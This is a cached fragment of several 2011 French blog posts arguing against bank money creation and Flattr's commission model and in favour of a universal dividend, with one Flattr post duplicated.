";s:7:"dateiso";s:15:"20110510_222845";}s:15:"20110510_202845";a:7:{s:5:"title";s:22:"L'injustice monétaire";s:4:"link";s:50:"http://blog.rom1v.com/2011/05/linjustice-monetaire";s:4:"guid";s:50:"http://blog.rom1v.com/2011/05/linjustice-monetaire";s:7:"pubDate";s:25:"2011-05-10T20:28:45+02:00";s:11:"description";s:0:"";s:7:"content";s:11799:"Dans un récent billet, je défendais l’idée d’un dividende universel. Je voudrais maintenant m’attarder sur le problème central à l’origine de cette proposition : le mécanisme actuel de la création monétaire.
EDIT 2016 : Bien que ce mécanisme de création monétaire par le crédit me dérange, je dois bien reconnaître que ma compréhension de la monnaie était (est) trop insuffisante pour soutenir les affirmations de ce billet. C’est plus compliqué que cela :
On parle beaucoup d’une de ses conséquences (surtout en ce moment) : la dette publique.
Si nous n’avons aucune idée de son fonctionnement, nous pouvons penser que nous dépensons trop, et qu’il serait bon de songer à rembourser cette fichue dette. Sans explications, devant le compteur de la dette nationale défilant à toute allure en bas d’un écran de télévision pendant un JT, les téléspectateurs croient sans doute qu’une politique de rigueur est nécessaire, car après tout, il est bien naturel rembourser ses dettes. Quelle arnaque ! Si nous remboursions nos dettes, il n’y aurait plus d’argent : l’argent provient de la dette. Au seul bénéfice des banques.
Posez-vous la question : comment est-il possible que nous soyons tous (les ménages, les entreprises, les États) endettés en même temps ([certains jusqu’à la “faillite”][]), alors que nous créons toujours plus de richesses ? Envers qui sommes-nous tous endettés, et pourquoi ?
Voyons comment tout cela fonctionne.
Pour plus de détails, voir ce billet.
Lorsqu’une banque accorde un crédit à un client (par exemple pour acheter une maison), elle ne lui prête pas l’argent qu’elle a : elle le crée (par une opération comptable). Le client va ensuite lui rembourser, sur plusieurs années, grâce à sa dure labeur, l’argent qu’elle lui a “prêté”, avec des intérêts. Au fur et à mesure du remboursement du principal, l’argent est “détruit” (de la même manière qu’il a été “créé”, c’est la raison pour laquelle il n’y aurait plus d’argent si nous remboursions nos dettes), mais il reste les intérêts, qui eux, sont au seul profit de la banque (qui sont des intérêts sur de l’argent qu’elle n’avait pas !). Il n’est d’ailleurs possible de lui payer qu’en récupérant, grâce à son travail, l’argent issu d’autres prêts effectués (indirectement), puisque (presque) tout l’argent vient de la dette. Déjà, l’injustice est flagrante : une banque privée crée de l’argent à son profit à partir du travail des autres, sans rien faire (à part manipuler une base de données).
Mais ce n’est pas tout, en créant de l’argent, la banque augmente la masse monétaire, donc dévalue la monnaie déjà en circulation. L’important, ce n’est pas la valeur que l’on possède en €, c’est la part que cette valeur par rapport à tout l’argent en circulation. Ainsi, augmenter la masse monétaire à son seul profit équivaut à “voler” une (toute petite) part de l’argent que possède chacun. La population, qui ne profite pas de cette création monétaire, doit donc travailler toujours plus pour “récupérer” cet argent et payer des intérêts toujours plus importants à ceux qui le leur prend.
Et globalement, cela pose un problème de remboursement : le total prêté à tous vaut P (le principal), et il faudra rembourser P+I (avec les intérêts). Sauf que lorsque tout l’argent provient du crédit, l’argent des intérêts n’existe pas, il serait impossible de les rembourser maintenant. Ce qui le permet, c’est simplement le décalage dans le temps du remboursement, rendu possible grâce à la croissance (c’est-à-dire lorsqu’il y a plus de nouveaux prêts effectués pour rembourser les anciens). Sans croissance ce système inique s’écroule. Il faut donc une production toujours plus importante uniquement pour “rembourser” (en fait, “donner” serait plus juste) les richesses créées aux banquiers. Ainsi, ceux qui créent les richesses sont endettés envers ceux qui créent l’argent.
Beaucoup s’étonnent des inégalités qui augmentent, et s’en prennent soit aux patrons, soit aux “assistés”. Mais la cause des inégalités, c’est le mécanisme de création monétaire. Il faut que la création monétaire soit distribuée à chacun.
Depuis la réforme de 1973 et son article 25, la France a l’interdiction d’emprunter son argent directement auprès de la banque centrale, sans intérêts. Elle doit donc l’emprunter, avec intérêts, aux banques privées, qui elles, ont le droit de “créer l’argent”.
En 1992, cette règle est inscrite au niveau européen dans l’article 104 du traité de Maastricht (qui est repris par l’article 123 du traité de Lisbonne en 2007) :
Article 104 :
- Il est interdit à la BCE et aux banques centrales des États membres, ci-après dénommées “banques centrales nationales”, d’accorder des découverts ou tout autre type de crédit aux institutions ou organes de la Communauté, aux administrations centrales, aux autorités régionales ou locales, aux autres autorités publiques, aux autres organismes ou entreprises publics des États membres; l’acquisition directe, auprès d’eux, par la BCE ou les banques centrales nationales, des instruments de leur dette est également interdite.
- Le paragraphe 1 ne s’applique pas aux établissements publics de crédit qui, dans le cadre de la mise à disposition de liquidités par les banques centrales, bénéficient, de la part des banques centrales nationales et de la BCE, du même traitement que les établissements privés de crédit.
Voilà d’où vient la dette qui augmente inexorablement : l’État est obligé d’emprunter son propre argent avec intérêts auprès d’acteurs privés.
Constatez l’évolution de la dette publique avec et sans intérêts depuis 1979 (source) :

Des réformes sont prévues pour lutter contre les déficits, sans remettre en cause ce système inique.
En France, la réforme constitutionnelle contre les déficits a pour but de parvenir à l’équilibre budgétaire (heureusement, elle ne devrait pas passer, l’UMP ne devrait pas réunir une majorité de 3/5e). Cela paraît pourtant presque naturel de ne pas dépenser plus que ce que nous avons. Mais à la lumière de l’injustice de la création monétaire, nous pouvons sans peine imaginer les impacts pour les finances de l’État et de la Sécurité sociale si le principe d’équilibre budgétaire avait une valeur constitutionnelle.
Au niveau européen, le “Pacte pour l’Euro” annonce une grande braderie sur les droits sociaux.
Je profite de ce billet pour vous livrer quelques commentaires sur le revenu de base et son financement.
Le revenu de base désigne le versement d’un revenu inconditionnel à chaque citoyen pour satisfaire ses besoins primaires.
Ce concept peut paraître étrange, selon la manière dont on le présente. J’ai l’impression que, face à quelqu’un qui n’en a jamais entendu parler, si je dis :
Je suis favorable à un revenu de base, un revenu versé tous les mois permettant de vivre sans emploi rémunéré.
l’idée sera difficilement acceptée, tellement elle semble illogique lorsque nous avons intégré la fameuse “valeur travail” (ou plutôt “valeur emploi”) : pourquoi gagnerait-on de l’argent sans travailler ?
Par contre, si je dis :
Lorsqu’on augmente la masse monétaire (“on crée de l’argent”), comment cela doit-il se passer : on donne tout cet argent créé à quelques acteurs privés et rien aux autres, qui devront le gagner et l’emprunter avec intérêts à ceux qui en bénéficient, ou alors on distribue cette augmentation à tout le monde équitablement ?
je pense que la personne prendra plus facilement conscience qu’un revenu non-issu du travail est naturel, que ce n’est pas une aumône (demander de l’argent sans rien faire simplement parce qu’on en a envie), mais un dû, dont actuellement nous sommes privés injustement.
Je suis très étonné que certains proposent un financement du revenu de base sans remettre en cause la création monétaire privée.
J’ai peut-être manqué quelque chose, mais je trouve absurde d’uniquement redistribuer les richesses au sein de la population, si nous laissons en place l’énorme redistribution de toute la population vers les banques. Je ne dis pas que le dividende universel suffirait à financer un revenu de base (je n’en sais rien), mais financer un revenu de base sans dividende universel me paraît aberrant.
J’aime beaucoup l’analogie d’[Étienne Chouard][] (vers 8mn30) :
C’est comme si on avait une inondation, un robinet qui coule à fond, il y a de l’eau partout. On est tous là avec des serpillères à éponger, et personne ne ferme le robinet.
Le système monétaire actuel est injuste. Il explique à mon avis une grande partie des problèmes de société (dette publique, inégalités, précarité, retraites…), et les personnalités politiques se disputent entre eux sur certaines conséquences sans jamais s’attaquer à la cause.
Je pense que les choix politiques sont trop importants pour être confiés à des politiciens.
";s:7:"dateiso";s:15:"20110510_202845";}s:15:"20110408_140953";a:7:{s:5:"title";s:22:"Flattr est une arnaque";s:4:"link";s:53:"http://blog.rom1v.com/2011/04/flattr-est-une-arnaque/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2243";s:7:"pubDate";s:31:"Fri, 08 Apr 2011 12:09:53 +0000";s:11:"description";s:386:"Principe Flattr est un système de micro-paiement permettant de rémunérer les auteurs des contenus sur Internet. Le principe est simple : chaque mois, l’utilisateur choisit la somme qu’il va donner (avec un minimum de 2€). Lorsqu’il tombe sur un site qui supporte Flattr, il a la possibilité de cliquer sur un bouton indiquant qu’il apprécie son [...]";s:7:"content";s:8915:"Flattr est un système de micro-paiement permettant de rémunérer les auteurs des contenus sur Internet. Le principe est simple : chaque mois, l’utilisateur choisit la somme qu’il va donner (avec un minimum de 2€). Lorsqu’il tombe sur un site qui supporte Flattr, il a la possibilité de cliquer sur un bouton indiquant qu’il apprécie son contenu. À la fin du mois, la somme qu’il a versée est répartie entre les auteurs des différents contenus qu’il a appréciés (moins la commission que prend Flattr, 10% des versements effectués).
Ce principe est très séduisant, car avant cela il n’était pas possible facilement de donner de petites sommes à plein d’auteurs.
Mais malheureusement, il y a une arnaque dans le système.
Flattr prélève 10% des sommes versées. Dit comme ça, on a l’impression que ce n’est pas grand chose : si je mets 2€, 0,20€ leur seront destinés, et 1,80€ seront pour les auteurs, rien de très choquant à première vue. Sauf que globalement, cela leur permet juste de récupérer quasiment tout l’argent injecté.
Je vais tenter d’expliquer pourquoi.
Afin de bien discerner comment se comporte l’argent injecté (vers où il va surtout), décidons pour les besoins de la démonstration qu’aucun argent neuf n’est rajouté chaque mois. Le premier mois, chacun verse une somme quelconque (pour un total qu’on appellera M). Les mois suivants, ils versent une somme de manière à ce qu’il y ait autant d’argent qui rentre que d’argent qui est sorti du mois précédent. Par exemple, chacun remet ce qu’il a gagné (si j’ai gagné 7€ je remets les 7€, si j’ai gagné 12€ je remets les 12€). Comme Flattr prend 10% sur les versements, nous pouvons déterminer à coup sûr le montant total d’un mois donné : 0,9×(montant du mois précédent).
Sur une période de m mois, la part destinée à Flattr est donc de (1 – 0,9m) × M.
Regardons donc quelle part de ce montant Flattr s’accapare sur une période plus longue.
Sur 1 an, (1 – 0,912) × M = 0,7176 × M, soit 71,76% de la somme totale !
Sur 5 ans, (1 – 0,960) × M = 0,9982 × M, soit 99,82%. Autrement dit, tout est pour Flattr.
S’il y a 20000 inscrits qui versent chacun 10€, M = 20000 × 10 = 200000€. Sur 1 an, 143514,09€ seront destinés à Flattr. Sur 5 ans, pas moins de 199640,60€, le reste circulant entre les membres.
Imaginez que votre compte en banque soit prélevé chaque mois 10% de son montant pour frais de gestion. Vous avez 5000€, vous êtes prélevés de 500€. Le mois suivant, plus que 450€… Au bout d’un an, il ne va pas rester grand chose pour échanger avec les autres…
Nous avons simplifié le problème en n’injectant pas d’argent neuf. Ou plutôt nous avons supprimé ce qui cachait cette incroyable distribution. Maintenant plaçons-nous dans le cas « réel » et injectons cet argent neuf chaque mois, de manière à ce que le montant total reste égal à M = 200000€ (par exemple, les 20000 membres versent 10€ chaque mois). Par rapport à l’exemple précédent, les membres injectent donc 20000€ d’argent neuf dans le système (en plus des 180000€ restants du mois précédent). Mais cet « argent neuf », il va évidemment subir le même traitement que dans la situation précédente, avec un mois de décalage, et être principalement redistribué vers Flattr au bout de quelques mois. C’est donc encore plus d’argent pour Flattr.
Sur une longue période, nous avons vu que Flattr rafflait une part essentielle de tous les versements. Mais regardons ce qui se passe sur un seul mois, en pourcentage. Nous avons l’impression que la commission est de 10%, mais en fait elle est beaucoup plus importante, car les échanges entre les membres se compensent, au moins en partie.
Pour le comprendre, prenons un exemple concret, avec 3 membres, qui versent chacun 10€ :
Combien d’argent a été échangé en tout entre les membres ?
3€ ont donc été échangés. Et pour ces 3€ d’échange, 3€ ont été donnés à Flattr, soit 50% des échanges totaux !
C’est même pire que cela, car il faut prendre en compte la transitivité. Ici, C transfert 1€ vers A, et A transfert 2€ vers B, on en a conclu qu’il y avait 3€ échangés. Mais l’euro qui transite de C vers A est « contenu » dans les 2€ qui transitent de A vers B. Globalement, tout se passe comme si A et C transféraient chacun 1€ vers B. Soit un total de 2€ échangés. La part de Flattr dans la somme des échangés est donc de 60% dans ce cas-là. Mais il ne faut pas s’arrêter là, il faut aussi intégrer la transitivité des transferts d’argent vers Flattr : A et C transfèrent chacun 1€ vers B (et 1€ vers Flattr), et B transfert 1€ vers Flattr. La situation est donc la même que si A et C transféraient chacun 0,50€ vers B et 1,50€ vers Flattr. Soit 75% des transferts pour Flattr (cette part correspond à 100% moins le ratio du montant gagné par les membres ayant un gain par rapport au montant perdu par les membres ayant une perte).
Le résultat après le premier mois est donc de :
Donc exactement comme si A et C avaient chacun donné 0,50€ à B et 1,50€ à Flattr.
Dans le cas limite, si tous les dons sont parfaitement répartis (chacun donne autant qu’il reçoit, moins les 10%), alors tout se passe comme s’il n’y avait aucun échange entre les membres. Chacun a mis 10€, et reçoit 9€. Résultat des courses : le seul échange d’argent qui s’opère est le transfert d’1€ de chaque membre vers Flattr, soit 100% des échanges.
La somme récupérée en valeur absolue par Flattr chaque mois est connue à l’avance (10% de M, ce qui est énorme, comme nous l’avons vu en quelques mois ils récupèrent quasiment tout). En valeur relative par rapport aux échanges effectués, en fonction de l’équilibre des dons, ce transfert d’argent des membres vers Flattr représente entre 10% et 100% des échanges. Ce système coûte donc extrêmement cher par rapport aux échanges qu’il permet.
Le concept de base est intéressant et séduisant, mais certaines arnaques sont bien dissimulées. Il vaut mieux en avoir conscience avant de s’inscrire à un système injuste.
Pour corriger ces problèmes, Flattr pourrait être rémunéré de la même manière que ses membres : par les micro-dons.
Il y a également d’autres problèmes que je n’ai pas évoqués ici.
Je réponds aux deux principales critiques à ce billet en commentaire.
";s:7:"dateiso";s:15:"20110408_140953";}s:15:"20110408_120953";a:7:{s:5:"title";s:22:"Flattr est une arnaque";s:4:"link";s:52:"http://blog.rom1v.com/2011/04/flattr-est-une-arnaque";s:4:"guid";s:52:"http://blog.rom1v.com/2011/04/flattr-est-une-arnaque";s:7:"pubDate";s:25:"2011-04-08T12:09:53+02:00";s:11:"description";s:0:"";s:7:"content";s:8228:"
Flattr est un système de micro-paiement permettant de rémunérer les auteurs des contenus sur Internet. Le principe est simple : chaque mois, l’utilisateur choisit la somme qu’il va donner (avec un minimum de 2€). Lorsqu’il tombe sur un site qui supporte Flattr, il a la possibilité de cliquer sur un bouton indiquant qu’il apprécie son contenu. À la fin du mois, la somme qu’il a versée est répartie entre les auteurs des différents contenus qu’il a appréciés (moins la commission que prend Flattr, 10% des versements effectués).
Ce principe est très séduisant, car avant cela il n’était pas possible facilement de donner de petites sommes à plein d’auteurs.
Mais malheureusement, il y a une arnaque dans le système.
Flattr prélève 10% des sommes versées. Dit comme ça, on a l’impression que ce n’est pas grand chose : si je mets 2€, 0,20€ leur seront destinés, et 1,80€ seront pour les auteurs, rien de très choquant à première vue. Sauf que globalement, cela leur permet juste de récupérer quasiment tout l’argent injecté.
Je vais tenter d’expliquer pourquoi.
Afin de bien discerner comment se comporte l’argent injecté (vers où il va surtout), décidons pour les besoins de la démonstration qu’aucun argent neuf n’est rajouté chaque mois. Le premier mois, chacun verse une somme quelconque (pour un total qu’on appellera M). Les mois suivants, ils versent une somme de manière à ce qu’il y ait autant d’argent qui rentre que d’argent qui est sorti du mois précédent. Par exemple, chacun remet ce qu’il a gagné (si j’ai gagné 7€ je remets les 7€, si j’ai gagné 12€ je remets les 12€). Comme Flattr prend 10% sur les versements, nous pouvons déterminer à coup sûr le montant total d’un mois donné : 0,9×(montant du mois précédent).
Sur une période de m mois, la part destinée à Flattr est donc de (1 - 0,9m) × M.
Regardons donc quelle part de ce montant Flattr s’accapare sur une période plus longue.
Sur 1 an, (1 - 0,912) × M = 0,7176 × M, soit 71,76% de la somme totale !
Sur 5 ans, (1 - 0,960) × M = 0,9982 × M, soit 99,82%. Autrement dit, tout est pour Flattr.
S’il y a 20000 inscrits qui versent chacun 10€, M = 20000 × 10 = 200000€. Sur 1 an, 143514,09€ seront destinés à Flattr. Sur 5 ans, pas moins de 199640,60€, le reste circulant entre les membres.
Imaginez que votre compte en banque soit prélevé chaque mois 10% de son montant pour frais de gestion. Vous avez 5000€, vous êtes prélevés de 500€. Le mois suivant, plus que 450€… Au bout d’un an, il ne va pas rester grand chose pour échanger avec les autres…
Nous avons simplifié le problème en n’injectant pas d’argent neuf. Ou plutôt nous avons supprimé ce qui cachait cette incroyable distribution. Maintenant plaçons-nous dans le cas “réel” et injectons cet argent neuf chaque mois, de manière à ce que le montant total reste égal à M = 200000€ (par exemple, les 20000 membres versent 10€ chaque mois). Par rapport à l’exemple précédent, les membres injectent donc 20000€ d’argent neuf dans le système (en plus des 180000€ restants du mois précédent). Mais cet “argent neuf”, il va évidemment subir le même traitement que dans la situation précédente, avec un mois de décalage, et être principalement redistribué vers Flattr au bout de quelques mois. C’est donc encore plus d’argent pour Flattr.
Sur une longue période, nous avons vu que Flattr rafflait une part essentielle de tous les versements. Mais regardons ce qui se passe sur un seul mois, en pourcentage. Nous avons l’impression que la commission est de 10%, mais en fait elle est beaucoup plus importante, car les échanges entre les membres se compensent, au moins en partie.
Pour le comprendre, prenons un exemple concret, avec 3 membres, qui versent chacun 10€ :

Combien d’argent a été échangé en tout entre les membres ?
3€ ont donc été échangés. Et pour ces 3€ d’échange, 3€ ont été donnés à Flattr, soit 50% des échanges totaux !
C’est même pire que cela, car il faut prendre en compte la transitivité. Ici, C transfert 1€ vers A, et A transfert 2€ vers B, on en a conclu qu’il y avait 3€ échangés. Mais l’euro qui transite de C vers A est “contenu” dans les 2€ qui transitent de A vers B. Globalement, tout se passe comme si A et C transféraient chacun 1€ vers B. Soit un total de 2€ échangés. La part de Flattr dans la somme des échangés est donc de 60% dans ce cas-là. Mais il ne faut pas s’arrêter là, il faut aussi intégrer la transitivité des transferts d’argent vers Flattr : A et C transfèrent chacun 1€ vers B (et 1€ vers Flattr), et B transfert 1€ vers Flattr. La situation est donc la même que si A et C transféraient chacun 0,50€ vers B et 1,50€ vers Flattr. Soit 75% des transferts pour Flattr (cette part correspond à 100% moins le ratio du montant gagné par les membres ayant un gain par rapport au montant perdu par les membres ayant une perte).
Le résultat après le premier mois est donc de :
Donc exactement comme si A et C avaient chacun donné 0,50€ à B et 1,50€ à Flattr.
Dans le cas limite, si tous les dons sont parfaitement répartis (chacun donne autant qu’il reçoit, moins les 10%), alors tout se passe comme s’il n’y avait aucun échange entre les membres. Chacun a mis 10€, et reçoit 9€. Résultat des courses : le seul échange d’argent qui s’opère est le transfert d’1€ de chaque membre vers Flattr, soit 100% des échanges.
La somme récupérée en valeur absolue par Flattr chaque mois est connue à l’avance (10% de M, ce qui est énorme, comme nous l’avons vu en quelques mois ils récupèrent quasiment tout). En valeur relative par rapport aux échanges effectués, en fonction de l’équilibre des dons, ce transfert d’argent des membres vers Flattr représente entre 10% et 100% des échanges. Ce système coûte donc extrêmement cher par rapport aux échanges qu’il permet.
Le concept de base est intéressant et séduisant, mais certaines arnaques sont bien dissimulées. Il vaut mieux en avoir conscience avant de s’inscrire à un système injuste. Pour corriger ces problèmes, Flattr pourrait être rémunéré de la même manière que ses membres : par les micro-dons.
Il y a également d’autres problèmes que je n’ai pas évoqués ici.
EDIT : Je réponds aux deux principales critiques à ce billet en commentaire.
";s:7:"dateiso";s:15:"20110408_120953";}s:15:"20110217_172639";a:7:{s:5:"title";s:50:"Dividende Universel : un enjeu majeur de société";s:4:"link";s:77:"http://blog.rom1v.com/2011/02/dividende-universel-un-enjeu-majeur-de-societe/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2123";s:7:"pubDate";s:31:"Thu, 17 Feb 2011 16:26:39 +0000";s:11:"description";s:387:"Dans un précédent billet, intitulé « Piratage ou usage commun ? », je vous avais livré mon analyse sur ce qui est appelé, aujourd’hui encore, piratage. Je concluais par la nécessité de décorréler le financement des œuvres et la vente unitaire de leurs copies. Je commence à me rendre compte que la guerre contre le partage n’est qu’une [...]";s:7:"content";s:19300:"
Dans un précédent billet, intitulé « Piratage ou usage commun ? », je vous avais livré mon analyse sur ce qui est appelé, aujourd’hui encore, piratage. Je concluais par la nécessité de décorréler le financement des œuvres et la vente unitaire de leurs copies.
Je commence à me rendre compte que la guerre contre le partage n’est qu’une manifestation d’une problématique beaucoup plus générale, qui touche la société et l’économie dans son ensemble. Voici quelques éléments de réflexion.
Considérons que la population a un ensemble de besoins à satisfaire. La satisfaction d’une partie de ces besoins nécessite du travail. Par exemple, le travail des industries alimentaires donne la possibilité à la population de se nourrir (sans récolter elle-même sa nourriture), celui des industries vestimentaires lui permet de se vêtir (sans fabriquer elle-même ses vêtements), la Poste lui permet d’envoyer des colis à l’autre bout du monde sans se déplacer, etc.
Par ailleurs, la population active peut effectuer une quantité de travail limitée (le nombre de personnes multiplié par le nombre d’heures). On peut distinguer 3 cas.
Dans le premier cas, il y a trop de besoins à satisfaire, la population active ne peut réaliser qu’une partie de tout ce travail. Ou plutôt, elle va le réaliser sur un période plus importante. Dans cette hypothèse, c’est le plein emploi, la situation économique est merveilleuse durant de nombreuses années, affichant une croissance impressionnante, comme par exemple durant les Trente Glorieuses.
Dans le second cas, la population active peut tout juste effectuer le travail nécessaire. Tous les besoins sont satisfaits, et tout le monde trouve du travail. La situation économique est bonne, la croissance est importante.
Dans le troisième cas, la population active peut effectuer plus de travail que nécessaire. Les besoins sont largement satisfaits avec moins de travail. Dans le système actuel, c’est la crise. Cela signifie qu’il n’y a pas assez de travail pour tout le monde, donc un taux de pauvreté important.
Le paradoxe est criant : plus nous parvenons à satisfaire nos besoins, plus la pauvreté augmente.
De ce paradoxe en découle un second.
Plus nous rendons nos outils de production efficaces, plus nous sommes capables de produire en abondance, avec moins de travail. Mais alors moins ce que nous produisons n’a de valeur marchande (puisque cette production est rendue abondante). Si la quantité vendue ne compense pas la baisse des prix unitaires, la seule manière de conserver une valeur marchande est alors de restreindre artificiellement le service rendu par cette production, contre l’intérêt général, comme le décrivait très bien Frédéric Bastiat dans le premier chapitre de « Sophismes Économiques » :
On remarque qu’un homme s’enrichit en proportion de ce qu’il tire un meilleur parti de son travail, c’est-à-dire de ce qu’il vend à plus haut prix. Il vend à plus haut prix à proportion de la rareté, de la disette du genre de produit qui fait l’objet de son industrie. On en conclut que, quant à lui du moins, la disette l’enrichit. Appliquant successivement ce raisonnement à tous les travailleurs, on en déduit la théorie de la disette. De là on passe à l’application, et, afin de favoriser tous les travailleurs, on provoque artificiellement la cherté, la disette de toutes choses par la prohibition, la restriction, la suppression des machines et autres moyens analogues.
Il en est de même de l’abondance. On observe que, quand un produit abonde, il se vend à bas prix : donc le producteur gagne moins. Si tous les producteurs sont dans ce cas, ils sont tous misérables: donc c’est l’abondance qui ruine la société. Et comme toute conviction cherche à se traduire en fait, on voit, dans beaucoup de pays, les lois des hommes lutter contre l’abondance des choses.
Au passage, nous reconnaissons ici le cas particulier du partage de fichiers, avec les restrictions numériques de lecture et la tentative de prohibition de l’utilisation d’outils de partage. La guerre contre le partage n’est qu’une lutte contre l’abondance, qui vise à restaurer la rareté afin de satisfaire une demande solvable.
Nous pouvons résumer ces deux paradoxes ainsi : plus nous rendons efficace notre production, moins ce que nous produisons n’a de valeur marchande (à cause de l’abondance) et plus la pauvreté augmente (à cause du manque de travail).
Une fois passé le cap d’une production abondante nécessitant peu de travail, on s’aperçoit que les politiques de recherche du plein emploi et de restriction de l’abondance (dans le but de conserver une valeur marchande) sont une lutte contre l’efficacité et l’intérêt général.
Supposons que l’on parvienne à une efficacité de production telle que l’emploi de 5% de la population active suffise à satisfaire les besoins de tous : nous serions dans une société qui n’a jamais été aussi productive et riche. Pourtant, nous aurions un taux de chômage de 95%. Si les revenus étaient exclusivement issus du travail rémunéré, une écrasante majorité de la population n’aurait aucun revenu. Restaurer une situation de plein emploi, impossible en pratique, serait très critiquable en théorie : il s’agirait d’imposer à de nombreuses personnes l’occupation d’un emploi utile ni pour elles, ni pour la société.
Aujourd’hui, nous ne sommes pas dans une situation si extrême (ça pourrait ne pas tarder, vraiment), mais force est de constater qu’en raison de l’informatisation et de l’automatisation de la production, le plein emploi ne peut plus être atteint. Devons-nous le regretter ? Je ne pense pas. Je pense même que c’est une chance : cela signifie que nous produisons plus efficacement des richesses.
Pour s’en rendre compte, il suffit de comprendre que le travail humain n’est pas un but, mais un moyen : il permet de surmonter les obstacles à la satisfaction des besoins. Regretter la trop grande facilité avec laquelle les obstacles sont franchis (car alors il y a moins de travail pour y parvenir), c’est vouloir combattre le but pour préserver le moyen, comme l’explique encore Frédéric Bastiat d’une manière extrêmement limpide dans le deuxième chapitre de « Sophismes Économiques ».
Dans la situation actuelle, il semble donc inévitable de rompre le lien strict entre emploi et revenu. En effet, la monnaie correspondant aux richesses créées par les machines doit être, d’une manière ou d’une autre, distribuée à la population. Sans cela, nous nous trouvons dans une situation aberrante où il y a abondance de richesses réelles et pénurie de monnaie pour y accéder, et nous ne pouvons faire autrement que d’accepter avec fatalité les conséquences négatives de l’amélioration de la société (sic).
C’est ce que propose le Dividende Universel.
Le Dividende Universel, pour rappel, désigne le versement inconditionnel d’un revenu à chaque citoyen (à titre indicatif, il est estimé entre 300 et 400€ par mois en Europe, mais varie beaucoup selon les propositions), de la naissance à la mort, qui se cumule aux autres revenus (issus de l’emploi).
Si c’est la première fois que vous entendez parler de ce concept, vous êtes sans doute sceptique, comme je l’ai été quand je l’ai découvert : cela semble utopique, irréalisable. Et pourtant…
J’ai introduit le sujet par la nécessité de dissocier l’emploi et le revenu, suite à la raréfaction de l’emploi (qui, contrairement aux idées reçues, est une bonne chose). Mais d’autres arguments, que je trouve encore plus pertinents, confortent les fondements de l’instauration d’un Dividende Universel.
Le plus évident est l’injustice du fonctionnement actuel de la création monétaire (je détaille dans un autre billet), un des bugs fondamentaux de notre société : des acteurs privés (les banques) créent de l’argent à partir de rien, par le mécanisme du prêt. C’est la magie de « l’argent dette ». En effet, lorsqu’une banque vous accorde un prêt pour acheter une maison par exemple, elle vous prête de l’argent qu’elle n’a pas ! La population se fait alors arnaquer plusieurs fois :
Thierry Crouzet résume cette situation en une phrase : « Pendant que vous avez travaillé, ils ont fabriqué l’argent pour vous payer ».
Le mécanisme est très bien expliqué par les vidéos pédagogiques de Paul Grignon (même si la forme est critiquable sur certains aspects) : L’Argent Dette, puis L’Argent Dette 2. La première vidéo a d’ailleurs fait l’objet d’une émission d’Arrêt sur Images.
Pour mettre fin à cette injustice intolérable, le Dividende Universel propose donc simplement que l’augmentation de la masse monétaire soit distribuée équitablement entre tous les citoyens, plutôt qu’elle ne soit réservée qu’à une poignée d’acteurs privés privilégiés au détriment de tout le reste de la population. C’est le point fondamental de cette proposition. Tous les autres arguments ne sont que des interprétations de la signification de cette nouvelle forme de distribution ou des analyses de ses conséquences.
Une part importante du travail effectué par la population est non marchand. Par exemple, dans le domaine qui m’intéresse, on peut citer la création de logiciels libres, qui sont à la base du fonctionnement d’Internet, ou encore la participation à Wikipedia, qui permet un partage de connaissance inégalé jusqu’à présent. Nous ne pouvons pas nier que ces créations ont une valeur immense pour la société (sans compter qu’elles bénéficient également au secteur marchand). Une part essentielle de cette valeur réside justement dans leur adoption par le plus grand nombre, d’autant plus rapidement qu’elles sont accessibles à tous, sans restrictions.
Le Dividende Universel peut être vu comme une valorisation de ces activités non marchandes, qui sont bénéfiques pour la société.
Chaque citoyen est co-propriétaire de la Zone Euro. Le Dividende Universel correspond donc simplement à la reconnaissance de la co-propriété de la zone économique pour chaque citoyen.
Nous héritons d’une richesse provenant des architectures et des outils construits par nos ancêtres. Il serait légitime que cette rente bénéficie à tous.
Yoland Bresson met en évidence cette richesse :
Prenons deux jumeaux parfaits, identiques en tout, particulièrement dans leurs compétences, supposons-les travaillant au même poste, dans un même processus de production (une usine de jeans par exemple) mais l’un situé en France et l’autre en Tunisie. Celui qui travaille en France recevra à l’évidence une rémunération plus élevée que son jumeau en Tunisie. Pourquoi ? Parce que les revenus ne résultent pas des seuls caractéristiques et mérites individuels; que dans l’évaluation de ce que chacun produit, et dont il perçoit une part, celui qui vit en France bénéficie de tout un potentiel productif beaucoup plus performant, les infrastructures, les réseaux d’échange et d’information, les habitudes de communiquer, etc., c’est-à-dire du milieu dans lequel il est plongé et dont il profite inconsciemment. On peut dire qu’il existe un « champ économique » comme il existe un « champ magnétique » qui nous inonde d’une énergie potentielle. Si cette énergie est plus grande en France qu’en Tunisie, c’est qu’elle provient de tout le capital matériel et humain que nos parents ont lentement construit en France. Une part des revenus que nous obtenons est le produit de ce capital social. Nous héritons de cette rente.
Le Dividende Universel aurait aussi d’autres effets positifs. Par exemple, les prestations sociales actuelles découragent les individus de chercher un emploi rémunéré. En effet, lorsque les revenus du travail augmentent, les prestations sociales sont diminuées voire supprimées, menant à des situations absurdes où l’individu a parfois financièrement intérêt à ne pas accepter un travail.
De par sa nature inconditionnelle, le Dividende Universel supprimerait ces désincitations.
Si vous désirez approfondir le Dividende Universel, je vous recommande la Théorie Relative de la Monnaie, de Stéphane Laborde. La version 2.0 de la TRM est disponible.
Par analogie au principe de relativité d’Einstein (« les lois physiques s’expriment de manière identique dans tous les référentiels »), il postule que « la monnaie, en tant que code qui régit les échanges économiques, doit fonctionner de manière identique dans tous les référentiels », et en analyse les conséquences. Il décrit également brièvement les problèmes fondamentaux du système actuel et ses effets.
Les défenseurs des libertés informatiques apprécieront certaines analogies, comme celle-ci :
On peut comparer le système monétaire encore actif en 2010 à l’ancien réseau informatique Français du Minitel, un réseau centralisé, où la création de services nécessitait un avis du propriétaire monopolistique ainsi que le partage des revenus de l’activité. Tandis qu’un système d’émission de monnaie symétrique dans l’espace-temps tel que le Dividende Universel est comparable à un internet neutre où chaque citoyen de la zone économique est considéré comme égal devant la création monétaire, et donc susceptible d’échanger en « peer-to-peer », de personne à personne, sans permission spéciale d’une autorité centrale.
Je remercie particulièrement son auteur pour la relecture de ce billet, ainsi que pour ses réponses rapides et ses remarques pertinentes
Je vous recommande son blog pour suivre l’actualité sur le sujet.
Avec le passage d’un monde de rareté à un monde d’abondance, nous sommes dans une période charnière où nous devons faire des choix de société cruciaux. La tentative de restauration de la rareté artificielle, que ce soit pour redonner une valeur marchande à la copie de fichiers ou pour prolonger le mythe du plein emploi, doit être combattue.
